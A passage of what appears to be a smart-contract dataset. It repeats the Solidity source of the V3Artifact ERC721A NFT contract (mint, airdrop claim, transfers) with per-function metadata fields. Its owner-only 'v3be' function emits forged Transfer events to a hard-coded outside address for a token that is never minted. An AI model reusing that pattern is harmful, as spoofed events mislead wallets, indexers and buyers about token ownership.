bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | tokenOfOwnerByIndex | function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
| /**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
2471,
3280
]
} | 4,284 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | supportsInterface | function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
| /**
* @dev See {IERC165-supportsInterface}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
3343,
3713
]
} | 4,285 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
